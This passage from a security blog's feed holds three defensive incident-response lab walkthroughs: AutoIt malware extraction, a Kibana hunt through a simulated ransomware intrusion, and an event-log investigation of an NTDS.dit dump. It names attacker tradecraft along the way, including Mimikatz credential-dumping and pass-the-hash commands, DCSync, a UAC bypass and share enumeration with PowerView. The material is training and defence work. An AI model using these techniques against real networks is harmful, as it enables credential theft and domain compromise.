doesn\u0026rsquo;t match what we are seeing in DIE. No problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn\u0026rsquo;t change the value) and then add the \u0026quot; # \u0026quot;\n0x,\u0026quot; prefix to indicate that the number is in the hex format. For example, 00001000 becomes 0x1000 .\nQuestion 4: According to the Detect Easy tool, what is the \u0026quot; # \u0026quot; time date stamp\u0026quot; ?\nQuestion 4 is an easy one. Navigate back to the main Detect It Easy window and we\u0026rsquo;ll find the information readily available.\nQuestion 5: According to the Detect It Easy (DIE) tool, what is the entry point address of the executable? Still working within the main Detect it Easy window, look for the Entry point field. Follow the same process that we used in Question 3 to convert the address to the requested format.\nQuestion 6: What is the domain used by the malicious embedded code? To tackle Question 6, we\u0026rsquo;re going to need to get creative. Remember back in Question 1 that we learned that AutoIt scripts can be compiled as executables? What if we could extract the AutoIt scripts out of the binary for analysis?\nLuckily, there is a tool to do exactly this, and it\u0026rsquo;s already installed in the LetsDefend analysis environment: AutoIt-Ripper. According to the project\u0026rsquo;s GitHub, the utility is **\u0026quot; # \u0026quot;\n**a short python script that allows for extraction of €˜compiled\u0026rsquo; AutoIt scripts from PE executables,\u0026quot; so we can dissect the resulting .au3 script file.\nGitHub - nazywam/AutoIt-Ripper: Extract AutoIt scripts embedded in PE binaries _Extract AutoIt scripts embedded in PE binaries. Contribute to nazywam/AutoIt-Ripper development by creating an account\u0026hellip;_github.com\nReferencing the AutoIt-Ripper documentation, we can run the tool from PowerShell with the following syntax:\nautoit-ripper sample.exe out_directory\nFor example, here is the command I used to extract the script from the sample binary and output to a folder called \u0026quot; # \u0026quot;\nripped\u0026quot; .\nautoit-ripper C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\sample C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\ripped\nThen, we\u0026rsquo;ll take the output file, script.au3 , and open in a text editor like Notepad++ to view the contents. It may look a little overwhelming at first, but let\u0026rsquo;s scroll through the script, performing a cursory glance for anything that looks like a URL.\nBefore long, we\u0026rsquo;ll stumble on line 39 where we see a reference to the InetRead function used to download files from the internet, pointing to a URL containing the domain we\u0026rsquo;re searching for.\nQuestion 7: What is the file path encoded in hexadecimal in the malicious code? Continuing to search the script, we\u0026rsquo;re looking for a hexadecimal number. Remember, we can identify a hexadecimal number by searching for the prefix 0x, the same method we used to format the answers in Questions 3 \u0026amp; 5. We\u0026rsquo;ll find the answer on line 46.\nTo figure out the file path, we need to make it readable. We can do this easily by using a tool like CyberChef. Simply add the From Hex operation to the Recipe and paste the value we discovered in the script. This will reveal the file path needed to answer the question.\nFrom Hex Operation in CyberChef.\nQuestion 8: What is the name of the DLL called by the malicious code? We\u0026rsquo;ve made it to the last question! Within the script, we see several references to DLLs, but the DllCall function seems to be the most relevant. On line 53, we can see this function being used to call user32.dll .\nConclusion: There we have it! By using Detect It Easy, we were able to analyze the sample file and determine that it is a compiled AutoIt script. Then, using AutoIt-Ripper, we extracted the script to learn more about its capabilities. With our objectives completed, let\u0026rsquo;s wrap this investigation!\nA big thank you to LetsDefend, for the interesting lab scenario. I selected this one because I was not familiar with AutoIt and its capabilities, but I have seen it mentioned as a potential attack vector recently. It was really fascinating to see how these scripts can be compiled as executables and extremely valuable to learn that the contents can be extracted for analysis. This will be a handy tool for the kit if I encounter this again in the real world.\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: AutoIT: https://www.autoitscript.com/site/autoit/\nDetect-It-Easy: https://github.com/horsicq/Detect-It-Easy\nMITRE ATT\u0026amp;CK — Command and Scripting Interpreter: AutoHotKey \u0026amp; AutoIT (T1059.010): https://attack.mitre.org/techniques/T1059/010/\nAutoIT Ripper: https://github.com/nazywam/AutoIt-Ripper\nNotepad++: https://notepad-plus-plus.org/\nVirusTotal: https://www.virustotal.com/\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2025-01-13T00:00:00Z","image":"/posts/letsdefend-malicious-autoit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-malicious-autoit-challenge-walkthrough/","title":"LetsDefend — Malicious AutoIT Challenge Walkthrough"},{"content":"TryHackMe — Boogeyman 3 Challenge Walkthrough A Domain Forensic Investigation using Kibana Image Credit: https://tryhackme.com/r/room/boogeyman3\nIntroduction: Have you feared the return of the Boogeyman?\nIf not, you’ve stumbled on the right blog! Welcome to my weekly walkthrough. This is a comprehensive walkthrough of the Boogeyman 3 challenge from TryHackMe, the third in a series of capstone challenges for their SOC Level 1 learning path. This challenge is a digital forensics and incident response (DFIR) engagement for the final showdown with a fictional threat actor called the Boogeyman.\nIf you want to catch up on how we got here, check out my walkthroughs of Boogeyman 1 \u0026amp; Boogeyman 2 first.\nTryHackMe — Boogeyman 1 Challenge Walkthrough\nTryHackMe — Boogeyman 2 Challenge Walkthrough\nTo unmask the Boogeyman this time_,_ we’re all about hunting through logs within Kibana, part of the Elastic Stack, to figure out how the latest attack unfolded against an organization compromised by this persistent, shadowy threat actor. Doesn’t sound so scary, right?\nNow let’s grab our flashlights and shine a light on the Boogeyman’s latest tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!\nChallenge Link: https://tryhackme.com/r/room/boogeyman3\nChallenge Scenario: Due to the previous attacks of Boogeyman, Quick Logistics LLC hired a managed security service provider to handle its Security Operations Center. Little did they know, the Boogeyman was still lurking and waiting for the right moment to return.\nIn this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.\nWithout tripping any security defences of Quick Logistics LLC, the Boogeyman was able to compromise one of the employees and stayed in the dark, waiting for the right moment to continue the attack. Using this initial email access, the threat actors attempted to expand the impact by targeting the CEO, Evan Hutchinson.\nQuestion 1: What is the PID of the process that executed the initial stage 1 payload? First things first. After starting the lab environment, enter the Elastic web console and navigate to the Analytics \u0026gt; Discover module. This dashboard is where we’ll be exploring the logs within the winlogbeat index_._\nOnce we get into our dashboard, we’ll have to adjust the time filters to view the logged events during the time of the incident. Fortunately, the security team reported to us that “the incident occurred between August 29 and August 30, 2023” so we can narrow the scope by modifying the dates in the time selection field.\nWe’ll filter the first date/time, selecting Absolute and setting the start date to August 29th, 2023, at 0:00 and the end date of August 30th, 2023, at 23:30. This selection gives us all the logs ingested during the incident.\nNow that we have the time period set, where do we start? Well, remember from the scenario that the initial access method was a spear phishing email that had an attachment executed by the CEO, Evan Hutchinson. The security team discovered that the attachment was an ISO file containing a “PDF” file — ProjectFinancialSummary_Q3.pdf.\nWe saw from the triage that Windows Explorer displayed this is an HTML application (HTA), not a PDF. So, we’re potentially looking for malicious Mshta code execution activity. But let’s start broadly and simply search for the file name by entering it into the search bar at the top of the window.\nThis will produce 4 events for us to review. Let’s start with the first event with the oldest time stamp. As we suspected, we see our parent file spawning mshta.exe to handle the file along with the corresponding ProcessId that we’ll need to answer Question 1.\nBefore we submit our answer, note the hostname, host IP address, and username of the CEO’s compromised workstation. This will help us stay organized as we follow the attack.\nWKSTN-0051 / 10.10.155.159 / evan.hutchinson\nQuestion 2: The stage 1 payload attempted to implant a file to another location. What is the full command-line value of this execution? Now, let’s focus on the next event in the list. We see evidence of [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) activity which can be used to move files around the system.\nSince we’re interested in the full command to understand what file was copied and to which destination, let’s make some adjustments to our dashboard and toggle some columns within our table instead of expanding the event. This will allow us to see the full process.command_line field easily and have a cleaner view moving forward.\nTo do this, search the Available fields column on the left-hand side and press the + button to add the process.command_line field as a column.\nYou’ll notice in the screenshots below that I also added the process.parent.executable and host.hostname fields as columns too, making it far easier to see the sequence of events at a glance.\nNow, revisiting the second event with this view, we’ll see the full command-line value for the [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) activity, revealing that the attacker moved a file from the ISO to a temporary directory on WKSTN-0051.\nQuestion 3: The implanted file was eventually used and executed by the stage 1 payload. What is the full command-line value of this execution? Continuing through the timeline, let’s look at the third event. Analyzing the command line, we see [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) executed to register a DLL within the ISO.\nQuestion 4: The stage 1 payload established a persistence mechanism. What is the name of the scheduled task created by the malicious script? Next, examine the last of the four events. By focusing on the process.command_line column, we can see that PowerShell is used to create a new Scheduled Task for persistence. This task executes [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) to register the file transferred to WKSTN-0051 via [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) from Question 2.\nExamining the Register-ScheduledTask parameter, we’ll find the name of the task in the command:\nQuestion 5: The execution of the implanted file inside the machine has initiated a potential C2 connection. What is the IP and port used by this connection? (format: IP:port) Since we’re out of events to analyze in the current search, we need to pivot and expand our scope. Since we know from the last question that the attacker is leveraging PowerShell, let’s try narrowing our search for that. Fortunately for us, Quick Logistics LLC, had deployed Sysmon on the CEO’s workstation which gives us an advantage.\nSearching for PowerShell.exe and querying Sysmon Event ID 3 for “t_he network connection event logs TCP/UDP connections on the machine_” might help find some clues leading us to uncover the command and control (C2) connection.\nFirst, we’ll input the search.\npowershell.exe and event.provider : \u0026ldquo;Microsoft-Windows-Sysmon\u0026rdquo; and event.code : \u0026ldquo;3\u0026rdquo;\nThen, enter destination.ip into the search field names box and click the field name. This will show us the top 5 values across the logs. Notice that there are three IP addresses: One is the CEO’s workstation, another is the IPv6 local loopback, and the top result is an external IP. The external IP is present in the overwhelming majority of the searched PowerShell logs. It’s suspicious that a compromised workstation would connect to an external IP address over PowerShell.\nFor the second half of the question, we can check the destination.port field to find the port number. Since there is only one entry, we don’t need to look any further. Now we have both the IP Address and Port of the C2 connection.\nQuestion 6: The attacker has discovered that the current access is a local administrator. What is the name of the process used by the attacker to execute a UAC bypass? Now that we’ve identified the C2 server, we need to understand how the attacker escalated privileges and bypassed user account control (UAC). Recall from Question 2 that the stage 1 payload leveraged xcopy to implant a file onto the CEO’s workstation?\nLet’s search for the implanted file, review.dat, to understand what other actions were performed. Right away we’ll see some discovery activity including whoami and net.exe commands used to enumerate local group membership and the associated permissions. But that’s not what we’re interested in. Notice another odd executable in the list for the Windows Features on Demand Helper. This seems out of place, doesn’t it?\nLet’s research on MITRE ATT\u0026amp;CK to understand if this executable can be abused to bypass UAC. With a quick search, we’ll land on the page for the technique Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) where we find the note below with a reference link:\nMITRE ATT\u0026amp;CK: https://attack.mitre.org/techniques/T1548/002/\nFor additional intelligence, let’s explore the reference link from Red Canary where we’ll learn that the executable can be abused to achieve a UAC bypass:\nProcesses launched by [REDACTED].exe run with elevated administrative privileges without requiring a User Account Control prompt.\nThis means the attacker abused the legitimate binary to execute processes as an administrator without the user account control dialogue to interfere.\nSince we have discovered a known method of abusing the Features on Demand Helper binary to bypass UAC combined with the evidence that this technique was used on compromised device, we’ve found the answer to Question 6.\nQuestion 7: Having a high privilege machine access, the attacker attempted to dump the credentials inside the machine. What is the GitHub link used by the attacker to download a tool for credential dumping? Now, we’ll need to discover what tool the attacker downloaded onto the victim’s device from GitHub. Jumping back to the search bar, let’s search for something broad like github.com, then refine our scope, filtering the host.ip field for the CEO’s workstation (10.10.155.159 / WKSTN-0051).\nThe search reveals that the attacker downloaded the very famous credential dumping tool, Mimikatz — not good! Let’s press forward to determine what the attacker was able to access.\nQuestion 8: After successfully dumping the credentials inside the machine, the attacker used the credentials to gain access to another machine. What is the username and hash of the new credential pair? (format: username:hash) Now that we’ve discovered the attacker downloaded Mimikatz, let’s continue analyzing the logs from the CEO’s workstation focusing on the executable name of the tool inside the mimi.zip archive — mimikatz.exe.\nMimikatz activity on WKSTN-0051\nHere we’ll observe that Mimikatz dumps the credentials for users recently logged-on to the workstation (sekurlsa::logonpasswords) exposing their password hashes. Next, the attacker performs a Pass the Hash (sekurlsa::pth ) using the NTLM hash of one of the exposed administrative users — itadmin .\nQuestion 9: Using the new credentials, the attacker attempted to enumerate accessible file shares. What is the name of the file accessed by the attacker from a remote share? So, let’s do a quick recap. We know that the attacker compromised Evan, the CEO’s, workstation with a spear-phishing attachment. Then, the stage 1 payload performed a variety of activities to establish a foothold including using PowerShell to create persistence mechanisms, abusing living off the land binaries to elevate privileges, and dumping privileged OS credentials after downloading Mimikatz from GitHub. Now we’ll need to find what file shares the attacker found and accessed.\nBased on what we know about the attacker’s tactics, techniques, and procedures (TTPs) it’s likely that they would need to download additional tools to perform file sharing enumeration in the environment.\nLet’s test this theory by first filtering all events from the CEO, Evan’s, device — WKSTN-0051.quicklogistics.org. Then, we’ll narrow the search further starting with the attacker’s known technique of using PowerShell to download tools from GitHub. For this, we’ll format a query that specifies the CEO’s workstation in the host.name field and matches all fields for the term PowerShell and a wildcard search for GitHub.\nhost.name : \u0026ldquo;WKSTN-0051.quicklogistics.org\u0026rdquo; and powershell.exe and github\nRight away, there’s something interesting. We’ll see that PowerShell downloaded PowerView.ps1 , a network reconnaissance tool**,** then runs the [Invoke-ShareFinder](https://attack.mitre.org/techniques/T1018/) cmdlet to discover accessible file shares within the domain.\nThis discovery brings us one step closer by answering the how, but we still need to determine what was accessed. Let’s modify the original query, removing the GitHub wildcard, and zoom-out to all PowerShell activities from this workstation.\nhost.name : \u0026ldquo;WKSTN-0051.quicklogistics.org\u0026rdquo; and powershell.exe\nBingo! We see that the attacker discovered a file share on WKSTN-1327 hosting an automation script where credentials are potentially stored to enable automation. Then, using the cat command, the attacker prints the output of this script to the console giving them access to the password within.\nQuestion 10: After getting the contents of the remote file, the attacker used the new credentials to move laterally. What is the new set of credentials discovered by the attacker? (format: username:password) Sticking with our current search parameters, scroll up through the newer events in the timeline. Shortly, we’ll stumble upon the series of events below showing that the attacker remotely used the newly discovered credentials for allan.smith to move laterally, executing code on a second workstation.\nQuestion 11: What is the hostname of the attacker’s target machine for its lateral movement attempt? From the previous two steps in the analysis, we’ve already determined the hostname and user account targeted for lateral movement. Let’s check our work and move forward with the investigation.\nQuestion 12: Using the malicious command executed by the attacker from the first machine to move laterally, what is the parent process name of the malicious command executed on the second compromised machine? Now we’ll switch our scope to the workstation targeted for lateral movement from the last question. To do this, we’ll zoom out focusing on the Microsoft-Windows-Sysmon events again and searching Sysmon Event ID 1 or process creation events. Since we are looking for a parent/child process used for lateral movement, let’s start here and see what we find.\nhost.hostname : \u0026ldquo;WKSTN-1327\u0026rdquo; and event.provider : \u0026ldquo;Microsoft-Windows-Sysmon\u0026rdquo; and event.code : \u0026ldquo;1\u0026rdquo;\nExcellent! Notice the encoded PowerShell command and that the timestamp follows directly after the use of the credentials from WKSTN-0051 ? The process.parent.executable of the PowerShell process is what we’ll need to answer Question 12.\nQuestion 13: The attacker then dumped the hashes in this second machine. What is the username and hash of the newly dumped credentials? (format: username:hash) Staying within our current filters, we’ll see that once the attacker is connected, they perform the same patterns of system discovery as on the first workstation, including downloading Mimikatz to dump credentials on the second compromised workstation.\nIn addition to exposing the previous credentials we found back in Question 8 again, the attacker also discovers another set of administrative credentials, which may include Domain Admin privileges.\nQuestion 14: After gaining access to the domain controller, the attacker attempted to dump the hashes via a DCSync attack. Aside from the administrator account, what account did the attacker dump? Keep scrolling to the newer events following the administrator account credential dump, we see the attacker performed a Pass the Hash again using the new domain admin NTLM hash to access environment’s domain controller, following-up with a DCSync attack.\nThis gives us a good idea of where to look next. To confirm, let’s adjust our query again focusing on events from DC01 to see the full story.\nhost.hostname : \u0026ldquo;DC01\u0026rdquo; and event.provider : \u0026ldquo;Microsoft-Windows-Sysmon\u0026rdquo; and event.code : \u0026ldquo;1\u0026rdquo;\nOnce again, we’ll see familiar TTPs including system/user discovery and downloading Mimikatz. By performing a DCSync attack the attacker accesses the account credentials from the previous question and another new set of credentials.\nQuestion 15: After dumping the hashes, the attacker attempted to download another remote file to execute ransomware. What is the link used by the attacker to download the ransomware binary? Now that the attacker has achieved domain dominance, we can see that a few minutes later, the attacker downloads a ransomware binary from a remote server. This is the URL needed to answer Question 15.\nTo be thorough and fully scope the impact of the incident, let’s make a quick adjustment to our filters to understand if the ransomware binary was also executed after download.\nIn the search bar, we’ll enter the name of the executable, ransomboogey.exe. But we also want to understand what user accounts were used for execution and the winlog.event_id to understand if the file was executed. For this just select the user.name and winlog.event_id fields to add them to our dashboard.\nFirst, we’ll see that the binary is executed (Sysmon Event ID 1) on DCO1 by Administrator.\nShortly after, we see that the ransomware is created (Sysmon Event ID 11), but not executed on the CEO\u0026rsquo;s workstation, WKSTN-0051.\nFinally, we’ll determine that the ransomware binary was executed on WKSTN-1327 by itadmin.\nWhew! Now that we have fully answered all the questions and have built a solid understanding of how the latest Boogeyman attack unfolded, let’s wrap up this investigation!\nConclusion: The third time’s the charm! We’ve come to the end of our frighteningly fun investigation of Boogeyman 3, facing the Boogeyman for the final time. Using our forensic skills in ELK, we learned that the Boogeyman infected CEO’s device through a spear phishing email with a malicious attachment. Then, they performed a variety of activities to establish a foothold including leveraging PowerShell to create persistence and command and control, abusing living off the land binaries to elevate privileges, dumping privileged credentials with Mimikatz, performing discovery in the environment, moving laterally, and achieving domain dominance before finally deploying ransomware. While it was a scary incident, we successfully traced the Boogeyman’s activities and now, let’s wrap this investigation — Quick Logistics LLC’s nightmare is over!\nA huge thank you to TryHackMe for the excellent part III of the Boogeyman series. This challenge was the perfect way to end the year and the awesome SOC Level 1 learning path! As usual for this series, I was truly impressed with the details and narrative of this room. This one felt closer to a real-world simulation exercise than others I have completed and it really pushed me to level-up my skills in Elastic. It was really engaging to see how the Boogeyman changed tactics, techniques, and procedures between the three rooms and the stakes felt real for the fictional organization! Let’s hope we never have to deal with Boogeyman again.\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: MITRE ATT\u0026amp;CK: System Binary Proxy Execution: Mshta (T1218.005): https://attack.mitre.org/techniques/T1218/005/\nMicrosoft Learn — xcopy: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy\nMicrosoft Learn — rundll32: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32\nMITRE ATT\u0026amp;CK: Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/\nMicrosoft Learn — Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon\nMITRE ATT\u0026amp;CK: https://attack.mitre.org/\nMITRE ATT\u0026amp;CK: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): https://attack.mitre.org/techniques/T1548/002/\nMITRE ATT\u0026amp;CK: OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/\nMITRE ATT\u0026amp;CK: Mimikatz (S0002): https://attack.mitre.org/software/S0002/\nMITRE ATT\u0026amp;CK: Remote System Discovery (T1018): https://attack.mitre.org/techniques/T1018/\nMITRE ATT\u0026amp;CK: Use Alternate Authentication Material: Pass the Hash ( T1550): https://attack.mitre.org/techniques/T1550/002/\nMITRE ATT\u0026amp;CK: OS Credential Dumping: DCSync (T1003.006): https://attack.mitre.org/techniques/T1003/006/\n","date":"2025-01-06T00:00:00Z","image":"/posts/tryhackme-boogeyman-3-challenge-walkthrough/e114acf88621796ddca1c9ca24721f93_MD5.png","permalink":"/posts/tryhackme-boogeyman-3-challenge-walkthrough/","title":"TryHackMe  —  Boogeyman 3 Challenge Walkthrough"},{"content":"HackTheBox — CrownJewel-2 Sherlock Walkthrough Investigating a Compromised Domain Controller Using Windows Event Logs Image Credit: https://app.hackthebox.com/sherlocks/CrownJewel-2\nIntroduction: Imagine this: You’re on the front lines of an organization’s security team, trying to catch your breath and recover from an attack against your domain controller just yesterday. Suddenly, another alert fires from the domain controller about a new exfiltration attempt of the NTDS.dit database which holds the domain’s secrets. Springing back to action, you must determine how the attacker got in this time by investigating the Windows Event Logs to establish a timeline, understand how the attack unfolded, and evict the attacker…again.\nIf this sounds exciting to you, welcome to my weekly walkthrough, you’ve stumbled on the right blog!\nThis week, we’re tackling the CrownJewel-2 challenge from Hack The Box, a direct follow-up to CrownJewel-1. The scenario assumes that we’re the same incident responder that investigated the first attack, so you’ll get the most out of this challenge if you complete CrownJewel-1 first. I’ll leave a link to my walkthrough for part 1 below.\nHackTheBox — CrownJewel-1 Sherlock Walkthrough\nCrownJewel-2 is another digital forensics and incident response (DFIR) challenge. This time, we’ll leverage the Windows Event Logs to understand how the attacker exfiltrated the NTDS.dit database. Using the Event Viewer, we’ll establish a timeline of the attack and track what activities occurred before the exfiltration.\nWhile this challenge is geared toward beginners, it’s a fantastic lab for all skill levels to get some hands-on practice with Windows Event Log analysis. So, let’s grab our magnifying glasses again, take a deep breath, and get ready to dive back into the investigation!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and joining me on this investigation!\nChallenge Link: https://app.hackthebox.com/sherlocks/CrownJewel-2\nChallenge Scenario: Forela’s Domain environment is pure chaos. Just got another alert from the Domain controller of NTDS.dit database being exfiltrated. Just one day prior you responded to an alert on the same domain controller where an attacker dumped NTDS.dit via vssadmin utility. However, you managed to delete the dumped files kick the attacker out of the DC, and restore a clean snapshot. Now they again managed to access DC with a domain admin account with their persistent access in the environment. This time they are abusing ntdsutil to dump the database. Help Forela in these chaotic times!!\nSetup the Analysis Environment \u0026amp; Extract the challenge file: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using FLARE-VM for this challenge and walkthrough.\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\n[GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash; \u0026ldquo;https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;)\nOkay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: When utilizing ntdsutil.exe to dump NTDS on disk, it simultaneously employs the Microsoft Shadow Copy Service. What is the most recent timestamp at which this service entered the running state, signifying the possible initiation of the NTDS dumping process? Time to kick off this investigation and see what the attackers are doing this time! After unzipping the challenge file, we’ll find three Windows Event Log (.evtx) files that we’ll use to investigate the attacker’s activities.\nApplication: Contains application related log events. System: Contains events related to Windows and its components like services, drivers, and hardware. Security: Contains security-related events, including user logins, access attempts, and account enumeration. Each of these logs will have a role to play during our investigation, but to answer Question 1, we’re searching for when the Volume Shadow Service (VSSVC.exe) last entered the running state, which might correlate with suspicious ntdsutil.exe database dumping activity.\nIf you joined me for the CrownJewel-1 investigation, you might remember that we learned the SYSTEM log contains the start and stop events for services, logged as Event ID 7036_._ Let’s try it out.\nOpen the SYSTEM log and filter it for the relevant Event ID we want by pressing Filter Current Log then entering 7036 into the Event ID field.\nFiltering the SYSTEM Log for Event ID 7036\nOnce we’ve filtered the events, press Find and enter the keywords “volume shadow copy” — to find any instances of Volume Shadow Copy service events. Since the events are listed in descending order, the newest ones will be at the top of the log — so the first hit should be the one we need to find the most recent entry.\nNow, with the event selected, we can obtain the precise system time when the service was started by clicking Details tab \u0026gt; XML View \u0026gt; TimeCreated SystemTime.\nQuestion 2: Identify the full path of the dumped NTDS file. To answer Question 2, let’s jump over to the APPLICATION logs. Without any further filtering, let’s try simply searching for NTDS and review the hits. It may take a few tries to find a meaningful event, but then we’ll stumble on the entry below:\nHere we’ll observe that the ESENT database engine created a new NTDS.dit database which is the file for which we received the exfiltration alert. Recalling what we discovered in CrownJewel-1, dumping the NTDS.dit file is a method an attacker can use to create a copy of the “Active Directory domain database in order to steal credential information.”\nNotice the suspicious file path of the dump and that the time stamp is one second after the Volume Shadow Service started? These are both clues that we are on the right path.\nQuestion 3: When was the database dump created on the disk? Fortunately, we already noticed the event timestamp correlation in the last question. In the same event from Question 2, let’s capture the system time by navigating to the Details tab, copying the System Time for the event, and then submitting the answer to continue building our timeline.\nQuestion 4: When was the newly dumped database considered complete and ready for use? Since we’ve already found the database events in the APPLICATION log, let’s manually review the entries that follow the database’s creation, starting with the event from Questions 2 \u0026amp; 3.\nScrolling through the logs, we’ll quickly come across the following event reporting that the database engine detached the dumped NTDS.dit database, indicating that the creation is completed.\nFollowing the same process that we used in Questions 1 \u0026amp; 3, copy the System Time from the detailed view and submit the answer.\nQuestion 5: Event logs use event sources to track events coming from different sources. Which event source provides database status data like creation and detachment? Throughout the investigation of the APPLICATION logs, you may have noticed that both database events from Questions 3 \u0026amp; 4 were provided by the same event source: ESENT, a database engine that’s part of Windows. This is all we need to answer Question 5.\nExtensible Storage Engine Managed Reference - Win32 apps _Learn more about: Extensible Storage Engine Managed Reference_learn.microsoft.com\nQuestion 6: When ntdsutil.exe is used to dump the database, it enumerates certain user groups to validate the privileges of the account being used. Which two groups are enumerated by the ntdsutil.exe process? Give the groups in alphabetical order joined by comma space. The key word to answering this question is “enumerate.” To find the answer, we’ll pivot to the SECURITY log. Once again, if you followed along during the CrownJewel-1 investigation, this next part will look very familiar.\nFirst, filter the SECURITY log for Event ID 4799 — “A security-enabled local group membership was enumerated.” This event indicates that a local group membership was queried to check the account privileges.\n[4799(S) A security-enabled local group membership was enumerated. - Windows 10 _Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash; \u0026ldquo;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;)\nNow that we’re only filtering the group membership enumeration events, we can narrow it down to the entries within the timeline we found in Question 2. During this time period, we’ll notice some events with the source process name of ntdsutil.exe where two distinct groups are enumerated.\n4799 — First Enumerated Group\n4799 — Second Enumerated Group\nPutting the two groups in the correct alphabetized format, we can submit the answer and continue.\nQuestion 7: Now you are tasked to find the Login Time for the malicious Session. Using the Logon ID, find the Time when the user logon session started. We’ve made it to the last question! To tackle Question 7, copy the Logon ID field (0x8DE3D) from the events that we found in the previous question. We’ll use this to correlate other events that share this ID.\nFor more granular searching than the built-in Event Viewer filtering options allow, we can write a custom filter within the XML tab of the Filter Current Log options. This filter will only display events with the matching Logon ID and clears the 4799 event filter we had before.\n[EventData[Data[@Name=\u0026lsquo;SubjectLogonId\u0026rsquo;]=\u0026lsquo;0x8de3d\u0026rsquo;]]\nWith our custom filter in place, scroll to the bottom of the list (if you’re still in descending order) to find the oldest events. Here, we’ll find a few, non-enumeration (4799) events with the same timestamp.\nFor one last time, switch to the XML View for any of these events, copy the System Time value, and submit the answer. Now let’s wrap up this investigation!\nConclusion: Let’s wrap up this investigation of CrownJewel-2 with a quick recap: Using the Windows Event logs, we discovered details about how and when ntdsutil was abused on the domain controller, including the start time, dumped file path, enumerated groups, and Logon ID. This helps us identify the attacker’s activities and create a detailed timeline to document the incident. Great job with the triage!\nA big thank you to Hack The Box for the fun and realistic challenge! This is the first series of Sherlocks that I’ve done with the platform, and it was an excellent experience both times. Remember, while this challenge is geared toward beginners, the narrative and triage processes are very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: FLARE-VM: https://github.com/mandiant/flare-vm\nMITRE ATT\u0026amp;CK — OS Credential Dumping: NTDS (T1003.003): https://attack.mitre.org/techniques/T1003/003/\nMicrosoft Learn — Extensible Storage Engine Managed Reference: https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference\nMicrosoft Learn — 4799(S): A security-enabled local group membership was enumerated: [https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page\u0026mdash; \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;)\nMicrosoft Learn — Ntdsutil: 